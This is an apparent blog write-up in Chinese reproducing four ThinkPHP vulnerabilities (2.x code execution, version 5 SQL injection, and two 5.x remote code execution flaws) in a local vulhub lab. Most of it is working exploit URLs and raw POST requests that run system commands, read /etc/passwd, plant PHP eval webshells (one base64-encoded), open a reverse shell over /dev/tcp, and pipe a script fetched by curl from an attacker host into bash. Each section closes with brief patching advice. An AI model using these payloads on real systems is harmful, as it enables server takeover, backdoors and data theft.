Thinkphp漏洞复现(全漏洞版本)

0x01:ThinkPHP 2.x 任意代码执行漏洞

1.环境描述&环境搭建

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

环境搭建:

下载好vulhub项目,切换到thinkphp下的2Rce,运行

docker-compose up -d

 

出现上述页面说明搭建成功。

2.漏洞复现

直接构造poc:

http://192.168.18.181:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

即可以看到phpinfo的信息:

中间参数更改为:system(whoami)即可以有以下结果:

写个一句话尝试一下:

/index.php?s=a/b/c/${@print(eval($_POST[1]))}

3.修复建议

  1. 更新到最新版本:确保你使用的是最新的 ThinkPHP 2.x 版本。开发团队通常会修复已知的漏洞,并发布安全更新。查看 ThinkPHP 的官方网站或代码仓库,下载并安装最新的版本。
  2. 验证用户输入:在接收用户输入时,进行严格的输入验证和过滤。确保输入符合预期的格式、长度和类型,并过滤掉潜在的恶意内容,例如使用过滤函数、正则表达式或安全框架提供的验证器。
  3. 限制代码执行权限:根据你的应用需求,限制代码执行的权限。避免直接将用户输入的内容作为代码执行,尤其是在 eval()、system() 等敏感函数中使用用户输入。如果需要动态执行代码,尽量使用安全的替代方法,例如利用解释器或安全的代码执行
  4. 安全日志记录:在应用中加入详细的日志记录功能,包括用户请求、异常情况和安全事件。这有助于及时发现和响应潜在的漏洞利用行为,并进行后续分析和修复。

0x02:ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

1.漏洞描述&环境搭建

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。

这里我们看一下漏洞的上下文:

<?php
namespace app\index\controller;

use app\index\model\User;

class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
    }
}

这里如果in可控的话,通过用户传入,那么就会造成注入,让我们来分析一下in的操作代码:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }

代码先对$bindName 先进行了一次检测,防止了一些注入情况,但是我们看到$value是一个数组的情况下,会遍历$value,并将$k拼接进$bingName

这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:

  1. prepare($SQL) 编译SQL语句
  2. bindValue($param, $value) 将value绑定到param的位置上
  3. execute() 执行

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的(这个错误就可以返回我们想要执行的恶意语句)。

2.漏洞复现

启动后,访问http://192.168.18.181/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。

访问:http://192.168.18.181/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,敏感信息被暴露出来:

3.修复建议

1.升级高版本的thinkphp

2.在过滤上加入更加严格的过滤条件。


参考链接:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html


0x03:ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

1.漏洞描述&环境搭建

其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

环境搭建:同上

2.漏洞复现

受影响版本:ThinkPHP 5.0.x < 5.0.23 ThinkPHP 5.1.x < 5.1.31

直接访问http://192.168.18.181:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,即可执行phpinfo:

执行系统命令:

http://192.168.18.181:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/etc/passwd

 

写入shell:

http://192.168.18.181:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cn006']); ?>aaa

3.修复建议

1.升级高版本的thinkphp

2.在过滤上加入更加严格的过滤条件。


参考链接:


0x04: ThinkPHP 5.0.23 远程代码执行漏洞

1.漏洞描述&环境搭建

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

环境搭建:同上

2.漏洞复现

发送一下poc包:

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.18.181:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d0c71d35480472a015c7c335988c19b5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

写入webshel:

但是我们要知道文件写到哪里,先pwd查看下目录:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo <?php @eval($_POST['cn006']); ?>  >>/var/www/public/shell.php

这里如果是实际的情况下,我们可以使用一些工具,或者访问一下写进的shell地址,因为虽然是500但是有时候也是成功执行了

写入失败,考虑是编码问题换成url编码或者base64编码:

url失败,base64成功:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echoIDw/cGhwIEBldmFsKCRfUE9TVFsnY24wMDYnXSk7ID8+  >>/var/www/public/hushell.php

蚁剑连接成功(记得选base类型):

反弹webshell:

开启一个服务,服务下边放一个1.txt,内容为:

bash -i >& /dev/tcp/10.211.55.5/9999 0>&1

启动nc监听:

执行poc:

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.18.181:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d0c71d35480472a015c7c335988c19b5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 10.211.55.3/shell.sh | bash

成功反弹shell:

3.修复建议

更新高版本的thinkphp

posted @ 2023-06-29 23:36  Arrest  阅读(2891)  评论(0编辑  收藏  举报